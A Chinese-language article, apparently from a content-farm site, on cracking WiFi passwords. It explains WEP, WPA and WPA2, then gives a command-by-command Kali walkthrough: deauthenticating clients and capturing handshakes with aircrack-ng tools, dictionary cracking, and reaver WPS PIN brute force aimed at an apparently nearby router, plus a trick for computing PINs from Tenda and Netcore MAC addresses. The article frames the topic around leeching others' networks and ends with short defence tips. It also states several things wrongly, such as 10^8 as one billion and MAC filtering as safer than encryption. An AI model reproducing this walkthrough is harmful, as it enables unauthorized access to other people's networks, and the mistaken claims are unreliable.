在生活中，很多人都不知道破解無線網(wǎng)絡(luò)密碼（無線WiFi網(wǎng)絡(luò)的密碼破解攻防及原理詳解）是什么意思，其實(shí)他的意思是非常簡單的，下面就是小編搜索到的破解無線網(wǎng)絡(luò)密碼（無線WiFi網(wǎng)絡(luò)的密碼破解攻防及原理詳解）相關(guān)的一些知識(shí)，我們一起來學(xué)習(xí)下吧！

破解無線網(wǎng)絡(luò)密碼（無線WiFi網(wǎng)絡(luò)的密碼破解攻防及原理詳解）

大家應(yīng)該都有過這樣的經(jīng)歷，就是感覺自己家的無線網(wǎng)怎么感覺好像變慢了，"是不是有人蹭我家網(wǎng)？""還有的時(shí)候咱們出門也想試圖蹭一下別人家的網(wǎng)"，這里"蹭網(wǎng)"的前提是要破解對(duì)方的"無線密碼"，那么這個(gè)"無線密碼"到底是否安全呢？其技術(shù)原理是如何的呢？ 我們又應(yīng)該如何防范他人"蹭網(wǎng)"呢？

(資料圖片)

今天我們就以本篇文章內(nèi)容給大家梳理一下"無線WiFi網(wǎng)絡(luò)的密碼破解攻防及原理"！

這里以無線路由器的WiFi加密方式講解

目前無線路由器里帶有的加密模式主要有：WEP，WPA-PSK（TKIP），WPA2-PSK（AES）和WPA-PSK（TKIP）+WPA2-PSK（AES）。

1、WEP（有線等效加密）（很容易被破解）

WEP是WiredEquivalentPrivacy的簡稱，802.11b標(biāo)準(zhǔn)里定義的一個(gè)用于無線局域網(wǎng)(WLAN)的安全性協(xié)議。WEP被用來提供和有線lan同級(jí)的安全性。LAN天生比WLAN安全，因?yàn)長AN的物理結(jié)構(gòu)對(duì)其有所保護(hù)，部分或全部網(wǎng)絡(luò)埋在建筑物里面也可以防止未授權(quán)的訪問。經(jīng)由無線電波的WLAN沒有同樣的物理結(jié)構(gòu)，因此容易受到攻擊、干擾。WEP的目標(biāo)就是通過對(duì)無線電波里的數(shù)據(jù)加密提供安全性，如同端-端發(fā)送一樣。WEP特性里使用了rsa數(shù)據(jù)安全性公司開發(fā)的rc4prng算法。如果你的無線基站支持MAC過濾，推薦你連同WEP一起使用這個(gè)特性(MAC過濾比加密安全得多)。盡管從名字上看似乎是一個(gè)針對(duì)有線網(wǎng)絡(luò)的安全選項(xiàng)，其實(shí)并不是這樣。WEP標(biāo)準(zhǔn)在無線網(wǎng)絡(luò)的早期已經(jīng)創(chuàng)建，目標(biāo)是成為無線局域網(wǎng)WLAN的必要的安全防護(hù)層，但是WEP的表現(xiàn)無疑令人非常失望。它的根源在于設(shè)計(jì)上存在缺陷。在使用WEP的系統(tǒng)中，在無線網(wǎng)絡(luò)中傳輸?shù)臄?shù)據(jù)是使用一個(gè)隨機(jī)產(chǎn)生的密鑰來加密的。但是，WEP用來產(chǎn)生這些密鑰的方法很快就被發(fā)現(xiàn)具有可預(yù)測性，這樣對(duì)于潛在的入侵者來說，就可以很容易的截取和破解這些密鑰。即使是一個(gè)中等技術(shù)水平的無線黑客也可以在兩到三分鐘內(nèi)迅速的破解WEP加密。IEEE802.11的動(dòng)態(tài)有線等效保密(WEP)模式是二十世紀(jì)九十年代后期設(shè)計(jì)的，當(dāng)時(shí)功能強(qiáng)大的加密技術(shù)作為有效的武器受到美國嚴(yán)格的出口限制。由于害怕強(qiáng)大的加密算法被破解，無線網(wǎng)絡(luò)產(chǎn)品是被被禁止出口的。然而，僅僅兩年以后，動(dòng)態(tài)有線等效保密模式就被發(fā)現(xiàn)存在嚴(yán)重的缺點(diǎn)。但是二十世紀(jì)九十年代的錯(cuò)誤不應(yīng)該被當(dāng)著無線網(wǎng)絡(luò)安全或者IEEE802.11標(biāo)準(zhǔn)本身，無線網(wǎng)絡(luò)產(chǎn)業(yè)不能等待電氣電子工程師協(xié)會(huì)修訂標(biāo)準(zhǔn)，因此他們推出了動(dòng)態(tài)密鑰完整性協(xié)議TKIP(動(dòng)態(tài)有線等效保密的補(bǔ)丁版本)。盡管WEP已經(jīng)被證明是過時(shí)且低效的，但是今天在許多現(xiàn)代的無線訪問點(diǎn)和無線路由器中，它依然被支持的加密模式。不僅如此，它依然是被個(gè)人或公司所使用的最多的加密方法之一。如果你正在使用WEP加密，如果你對(duì)你的網(wǎng)絡(luò)的安全性非常重視的話，那么以后盡可能的不要再使用WEP，因?yàn)槟钦娴牟皇呛馨踩?/p>

2、WPA-PSK（TKIP）（安全性較高，但是也可以被破解）

無線網(wǎng)絡(luò)最初采用的安全機(jī)制是WEP（有線等效加密），但是后來發(fā)現(xiàn)WEP是很不安全的，802.11組織開始著手制定新的安全標(biāo)準(zhǔn)，也就是后來的802.11i協(xié)議。但是標(biāo)準(zhǔn)的制定到最后的發(fā)布需要較長的時(shí)間，而且考慮到消費(fèi)者不會(huì)因?yàn)闉榱司W(wǎng)絡(luò)的安全性而放棄原來的無線設(shè)備，因此Wi-Fi聯(lián)盟在標(biāo)準(zhǔn)推出之前，在802.11i草案的基礎(chǔ)上，制定了一種稱為WPA(Wi-FiProctedAccess)的安全機(jī)制，它使用TKIP(臨時(shí)密鑰完整性協(xié)議)，它使用的加密算法還是WEP中使用的加密算法RC4，所以不需要修改原來無線設(shè)備的硬件，WPA針對(duì)WEP中存在的問題：IV過短、密鑰管理過于簡單、對(duì)消息完整性沒有有效的保護(hù)，通過軟件升級(jí)的方法提高網(wǎng)絡(luò)的安全性。WPA的出現(xiàn)給用戶提供了一個(gè)完整的認(rèn)證機(jī)制，AP根據(jù)用戶的認(rèn)證結(jié)果決定是否允許其接入無線網(wǎng)絡(luò)中；認(rèn)證成功后可以根據(jù)多種方式（傳輸數(shù)據(jù)包的多少、用戶接入網(wǎng)絡(luò)的時(shí)間等）動(dòng)態(tài)地改變每個(gè)接入用戶的加密密鑰。另外，對(duì)用戶在無線中傳輸?shù)臄?shù)據(jù)包進(jìn)行MIC編碼，確保用戶數(shù)據(jù)不會(huì)被其他用戶更改。作為802.11i標(biāo)準(zhǔn)的子集，WPA的核心就是IEEE802.1x和TKIP（TemporalKeyIntegrityProtocol）。WPA考慮到不同的用戶和不同的應(yīng)用安全需要，例如：企業(yè)用戶需要很高的安全保護(hù)（企業(yè)級(jí)），否則可能會(huì)泄露非常重要的商業(yè)機(jī)密；而家庭用戶往往只是使用網(wǎng)絡(luò)來瀏覽Internet、收發(fā)E-mail、打印和共享文件，這些用戶對(duì)安全的要求相對(duì)較低。為了滿足不同安全要求用戶的需要，WPA中規(guī)定了兩種應(yīng)用模式：企業(yè)模式，家庭模式（包括小型辦公室）。根據(jù)這兩種不同的應(yīng)用模式，WPA的認(rèn)證也分別有兩種不同的方式。對(duì)于大型企業(yè)的應(yīng)用，常采用"802.1x+EAP"的方式，用戶提供認(rèn)證所需的憑證。但對(duì)于一些中小型的企業(yè)網(wǎng)絡(luò)或者家庭用戶，WPA也提供一種簡化的模式，它不需要專門的認(rèn)證服務(wù)器。這種模式叫做"WPA預(yù)共享密鑰(WPA-PSK)"，它僅要求在每個(gè)WLAN節(jié)點(diǎn)(AP、無線路由器、網(wǎng)卡等)預(yù)先輸入一個(gè)密鑰即可實(shí)現(xiàn)。這個(gè)密鑰僅僅用于認(rèn)證過程，而不用于傳輸數(shù)據(jù)的加密。數(shù)據(jù)加密的密鑰是在認(rèn)證成功后動(dòng)態(tài)生成，系統(tǒng)將保證"一戶一密"，不存在像WEP那樣全網(wǎng)共享一個(gè)加密密鑰的情形，因此大大地提高了系統(tǒng)的安全性。

3、WPA2-PSK（AES）（安全性較高，破解難度有所增加）

在802.11i頒布之后，Wi-Fi聯(lián)盟推出了WPA2，它支持AES(高級(jí)加密算法)，因此它需要新的硬件支持，它使用CCMP(計(jì)數(shù)器模式密碼塊鏈消息完整碼協(xié)議)。在WPA/WPA2中，PTK的生成依賴PMK，而PMK獲的有兩種方式，一個(gè)是PSK的形式就是預(yù)共享密鑰，在這種方式中PMK=PSK，而另一種方式中，需要認(rèn)證服務(wù)器和站點(diǎn)進(jìn)行協(xié)商來產(chǎn)生PMK。IEEE802.11所制定的是技術(shù)性標(biāo)準(zhǔn),Wi-Fi聯(lián)盟所制定的是商業(yè)化標(biāo)準(zhǔn),而Wi-Fi所制定的商業(yè)化標(biāo)準(zhǔn)基本上也都符合IEEE所制定的技術(shù)性標(biāo)準(zhǔn)。WPA(Wi-FiProtectedAccess)事實(shí)上就是由Wi-Fi聯(lián)盟所制定的安全性標(biāo)準(zhǔn),這個(gè)商業(yè)化標(biāo)準(zhǔn)存在的目的就是為了要支持IEEE802.11i這個(gè)以技術(shù)為導(dǎo)向的安全性標(biāo)準(zhǔn)。而WPA2其實(shí)就是WPA的第二個(gè)版本。WPA之所以會(huì)出現(xiàn)兩個(gè)版本的原因就在于Wi-Fi聯(lián)盟的商業(yè)化運(yùn)作。我們知道802.11i這個(gè)任務(wù)小組成立的目的就是為了打造一個(gè)更安全的無線局域網(wǎng),所以在加密項(xiàng)目里規(guī)范了兩個(gè)新的安全加密協(xié)定–TKIP與CCMP(有些無線網(wǎng)路設(shè)備中會(huì)以AES、AES-CCMP的字眼來取代CCMP)。其中TKIP雖然針對(duì)WEP的弱點(diǎn)作了重大的改良,但保留了RC4演算法和基本架構(gòu),言下之意,TKIP亦存在著RC4本身所隱含的弱點(diǎn)。因而802.11i再打造一個(gè)全新、安全性更強(qiáng)、更適合應(yīng)用在無線局域網(wǎng)環(huán)境的加密協(xié)定-CCMP。所以在CCMP就緒之前,TKIP就已經(jīng)完成了。但是要等到CCMP完成,再發(fā)布完整的IEEE802.11i標(biāo)準(zhǔn),可能尚需一段時(shí)日,而Wi-Fi聯(lián)盟為了要使得新的安全性標(biāo)準(zhǔn)能夠盡快被布署,以消弭使用者對(duì)無線局域網(wǎng)安全性的疑慮,進(jìn)而讓無線局域網(wǎng)的市場可以迅速擴(kuò)展開來,因而使用已經(jīng)完成TKIP的IEEE802.11i第三版草案(IEEE802.11idraft3)為基準(zhǔn),制定了WPA。而于IEEE完成并公布IEEE802.11i無線局域網(wǎng)安全標(biāo)準(zhǔn)后,Wi-Fi聯(lián)盟也隨即公布了WPA第2版(WPA2)。WPA=IEEE802.11idraft3=IEEE802.1X/EAP+WEP(選擇性項(xiàng)目)/TKIPWPA2=IEEE802.11i=IEEE802.1X/EAP+WEP(選擇性項(xiàng)目)/TKIP/CCMP

4、還有最后一種加密模式就是WPA-PSK（TKIP）+WPA2-PSK（AES），這是目前無線路由里最高的加密模式，目前這種加密模式因?yàn)榧嫒菪缘膯栴}，還沒有被很多用戶所使用。目前最廣為使用的就是WPA-PSK（TKIP）和WPA2-PSK（AES）兩種加密模式。相信在經(jīng)過加密之后的無線網(wǎng)絡(luò)，一定能夠讓我們的用戶安心放心的上網(wǎng)沖浪。所以此種方式安全性很高但是考慮到兼容性問題，沒有得到廣泛使用。

1、不需要技術(shù)的破解方法，利用手機(jī)端"WiFi萬能鑰匙"等軟件蹭網(wǎng)。

2、在抓到客戶端與目標(biāo)WiFi的握手包后實(shí)施基于密碼字典的暴力破解，成功率取決于目標(biāo)WiFi的密碼強(qiáng)度、字典的大小或準(zhǔn)確度、實(shí)施爆破的機(jī)器運(yùn)算性能。

3、在開啟了wps功能的WiFi，使用pin碼猜解的方法獲得WiFi密碼。

1、WiFi萬能鑰匙"類App的真正原理是，收集用戶手機(jī)上成功連接過的WiFi賬號(hào)和密碼，并上傳、存儲(chǔ)到App的服務(wù)器上，等到附近的蹭網(wǎng)者搜索到同一個(gè)網(wǎng)絡(luò)時(shí)，該App就可以根據(jù)附近熱點(diǎn)的配置信息，從服務(wù)器上自動(dòng)匹配并取得相應(yīng)的密碼，通過數(shù)據(jù)流量發(fā)送到手機(jī)端，從而完成WiFi連網(wǎng)。

2、暴力破解的原理

普通的無線路由器，加密方法一般使用wpa 、wpa2或wep，wep因?yàn)樘话踩珮O易被破解在現(xiàn)行的無線路由器上已基本取消。所以我們搜索到的待破WiFi基本都是wpa或wpa2加密的。至于使用認(rèn)證服務(wù)器(如radius等)的wpa認(rèn)證在個(gè)人無線WiFi領(lǐng)域基本不可能，所以通常我們能搜索到的待破WiFi都是基于本地密碼的wpa或wpa2加密WiFi。

破解wpa和wpa2加密的WiFi網(wǎng)絡(luò)的基本原理通俗來講，我們需要先在無線網(wǎng)卡監(jiān)聽模式下搜集目標(biāo)WiFi的信息，例如ssid（WiFi名稱）、BSSID（也就是目標(biāo)WiFi無線路由器的MAC）、已連接的客戶端mac、信號(hào)強(qiáng)度等信息。然后發(fā)送偽造的取消關(guān)聯(lián)的數(shù)據(jù)包迫使已連接到該WiFi的客戶端與WiFi斷開連接，重點(diǎn)是，斷開連接后，客戶端會(huì)重新嘗試發(fā)起連接到該WiFi網(wǎng)絡(luò)，這時(shí)客戶端會(huì)發(fā)送一個(gè)帶有認(rèn)證密碼的數(shù)據(jù)包以便請(qǐng)求重新連入WiFi，這個(gè)包俗稱為握手包。這時(shí)我們的攻擊機(jī)利用攻擊程序和無線網(wǎng)卡監(jiān)聽抓取到這個(gè)握手包，這個(gè)握手包里就含有WiFi密碼，但這個(gè)密碼當(dāng)然是經(jīng)過加密的，所以后續(xù)就需要我們使用攻擊程序調(diào)用密碼字典結(jié)合獲取到的BSSID、客戶端MAC等信息進(jìn)行運(yùn)算，不斷運(yùn)算字典中的每一個(gè)密碼，直到有一個(gè)密碼使用wpa算法能算出一個(gè)與抓到的握手包中一致的加密字串，這個(gè)就是目標(biāo)WiFi的密碼了。如果把字典里的每一個(gè)密碼都算過一遍仍然沒有一個(gè)與抓取到的握手包加密字串一致的，就破解失敗，退出，構(gòu)造新的字典再試。

3、pin碼破解WiFi密碼

在早期的無線路由器上開啟了wps功能，這個(gè)功能簡單來講就是為了方便設(shè)備連接WiFi，不需要每次都繁瑣的輸入密碼而設(shè)立的一個(gè)8位的純數(shù)字字串，客戶端可以通過pin碼快速關(guān)聯(lián)路由器WiFi。wps這個(gè)功能的設(shè)計(jì)初衷是方便用戶連接WiFi，卻成為破解WiFi最有效的手段，因?yàn)?位純數(shù)字的pin碼，最多只有1億種可能的組合，而由于最后一位是前七位的校驗(yàn)和，所以只需要猜解前七位，猜解的可能組合數(shù)就只有一千萬種了，又由于發(fā)送pin碼連接WiFi，pin碼前4位出錯(cuò)的返回報(bào)錯(cuò)內(nèi)容和后三位錯(cuò)誤的返回報(bào)錯(cuò)報(bào)文內(nèi)容不同，所以只需要先猜前四位，前四位對(duì)了再猜后面三位，都對(duì)了以后最后一位校驗(yàn)和自動(dòng)可算出來，所以實(shí)際最多只需要猜解10000+1000種組合，一般我們2秒種嘗試一個(gè)pin碼，那么理論上最多花費(fèi)6個(gè)小時(shí)就一定可以猜解出目標(biāo)路由器的pin碼，進(jìn)而獲取到WiFi密碼。

需要說明的是，盡管pin碼破解WiFi被認(rèn)為是最有效的WiFi破解手段，但在實(shí)際中不容易實(shí)現(xiàn)，一是因?yàn)閜in碼不安全的問題已廣泛的被無線路由器的生產(chǎn)廠商所重視，所以現(xiàn)今購買的無線路由器基本都已經(jīng)取消了這個(gè)wps功能。二是在pin的過程中需要不斷的向目標(biāo)路由器發(fā)送pin碼進(jìn)行嘗試，對(duì)方路由器要返回響應(yīng)報(bào)文，有時(shí)因路由器本身不穩(wěn)定或路由器性能等問題，路由器不知不覺就被我們pin死了，使得猜解不能繼續(xù)或路由器在接收到過多錯(cuò)誤的pin碼之后會(huì)自動(dòng)休息一段時(shí)間，期間不接收pin碼，這導(dǎo)致我們pin碼猜解的時(shí)間過長而沒有意義。

1.筆記本

2.USB無線上網(wǎng)卡（必備）

3.kali系統(tǒng)

4.密碼字典

暴力破解法

何為暴力破解呢，其實(shí)就是一個(gè)一個(gè)密碼去試，直到正確的密碼。

現(xiàn)在的wifi一般加密都是：

1. WEP（有線等效加密）——采用WEP64位或者128位數(shù)據(jù)加密。

2.WPA-PSK[TKIP]———采用預(yù)共享秘鑰的WI-FI保護(hù)訪問，采用WPA-PSK標(biāo)準(zhǔn)加密技術(shù)，加密類型為TKIP。

3.WPA-PSK[TKIP]+WPA2-PSK[AES]———允許客戶端使用WPA-PSK[TKIP]或者WPA2-PSK[AES]。

1. 第一步

進(jìn)入kali在終端輸入如下

airmon-ng

列出網(wǎng)卡信息

2. 第二步

輸入：

airmon-ng start wlan0

開啟網(wǎng)卡監(jiān)控

可以使用ifconfig命令查看一下網(wǎng)卡信息：

ifconfig

可以看到網(wǎng)卡的名字已經(jīng)變了

3. 第三步

airodump-ng wlan0mon

掃描wifi信號(hào)

這里我用自己家的wifi做實(shí)驗(yàn)

4. 第四步

上圖可以看出

BSSID是50:3A:A0:33:B2:8C 信道(CH)是：2

輸入：

airodump-ng -w freedom -c 2 -–bssid 50:3A:A0:33:B2:8C wlan0mon –ignore-negative-one

抓去握手包

-c：指定信道

-w：指定抓去握手包的存放位置或者名字，freedom是一會(huì)抓去的握手包的名字

--bssid：指定路由器的MAC

5. 第五步

再開一個(gè)終端輸入命令：

aireplay-ng – -deatu 10 -a 路由器MAC -c 客戶機(jī)MAC

wlan0mon – -ignore-negative-one

使用airplay-ng工具強(qiáng)制斷開已經(jīng)連接到wifi的設(shè)備重新連接路由器，來進(jìn)行抓去數(shù)據(jù)包

–deatu：指定發(fā)送反認(rèn)證包的個(gè)數(shù)，也可以使用-0(阿利伯?dāng)?shù)字0)來指定反認(rèn)證包的個(gè)數(shù)

-a：指定路由器的MAC

-c：指定客戶機(jī)的MAC

6. 第六步

破解握手包

aircrack-ng -a -w dict freedom-*.cap

-a1：指定WEP加密方式

-a2：指定WPA-PSk加密方式

dict：字典的名字

freedom-*.cap：握手包

這個(gè)就是我的wifi密碼

破解完成，成功與否靠強(qiáng)大的字典和運(yùn)氣了。

1.第一步

Wash掃描開啟WPS的網(wǎng)絡(luò)

wash -i wlan0mon [-C]

由于周圍沒有開啟WPS功能的wifi，就會(huì)出現(xiàn)上圖那樣，這時(shí)不要急，因?yàn)橛行╇[藏了起來，我們直接來。

用前面那個(gè)掃wifi的命令：

airodump-ng wlan0mon

看見小編圈起來的MAC沒有，選擇一個(gè)PWR的值的絕對(duì)值小于70的wifi破解

2. 第二步

選擇一個(gè)路由器

我在這選擇的是名字為:FAST_F70E的wifi

就他了：E4:D3:32:7F:F7:0E -45 2 0 0 6 54e. WPA2 CCMP PSK FAST_F70E

然后命令如下:

reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S -vv

E4:D3:32:7F:F7:0E 這個(gè)mac根據(jù)路由器的mac更改，我破解的wifi的mac是E4:D3:32:7F:F7:0E

如圖上表示可以破解，開啟了wps功能

出現(xiàn)上圖這樣，就表示不能破解換其他wifi破解吧孩子

這樣就表示破解出來了

注意事項(xiàng)：

如果密碼被改了你知道他wifi的pin碼就用如下命令：reaver-i mon0 -b MAC -p PIN

pin碼有8位:所以就是10的8次方，要窮舉1000000000次

這樣pin也是有限制的，比如要被pin出的路由器必須得開啟wps功能；貌似現(xiàn)在很多都是防pin路由器或300秒pin限制的。

有些路由pin碼可以通過計(jì)算得到：騰達(dá)和磊科的產(chǎn)品如果路由MAC地址是以"C83A35"或"00B00C"打頭那么可以直接計(jì)算出PIN值。

比如這個(gè)：bssid ：Tenda_579A18 mac ：C8:3A:35:57:9A:18 通過計(jì)算器將mac后6位換算成10進(jìn)制數(shù)，得到5741080（pin碼的前7位）,最多試10次或通過軟件得到該路由pin碼！

破解時(shí)推薦這個(gè)命令：

reaver -i mon0 -b E4:D3:32:7F:F7:0E -a -S –d9 –t9 -vv

因?yàn)楱Cd9 –t9參數(shù)可以防止pin死路由器。

1、可以設(shè)置復(fù)雜密碼，密碼包含字符、符號(hào)和數(shù)字，長度設(shè)置到12位以上，越復(fù)雜的無線密碼對(duì)方破解難度越大。加密方式選用WPA-PSK/WPA2-PSK加密方式。

2、隱藏自己的無線網(wǎng)絡(luò)名稱。

當(dāng)我們隱藏?zé)o線認(rèn)證之后，別人是無法找到我們的網(wǎng)絡(luò)連接點(diǎn)，所以無法連接到我們的網(wǎng)絡(luò)。點(diǎn)擊路由器頁面左上角的無線基本設(shè)置。在右側(cè)可以看到有一個(gè)SSID服務(wù)廣播。把前面的勾打掉，點(diǎn)擊下面的保存。就可以隱藏?zé)o線信號(hào)

3、設(shè)置白名單，開啟MAC地址過濾功能，手動(dòng)把自己家里上網(wǎng)設(shè)備的MAC地址添加進(jìn)來，這時(shí)即使有人破解了WIFI密碼也無法上網(wǎng)。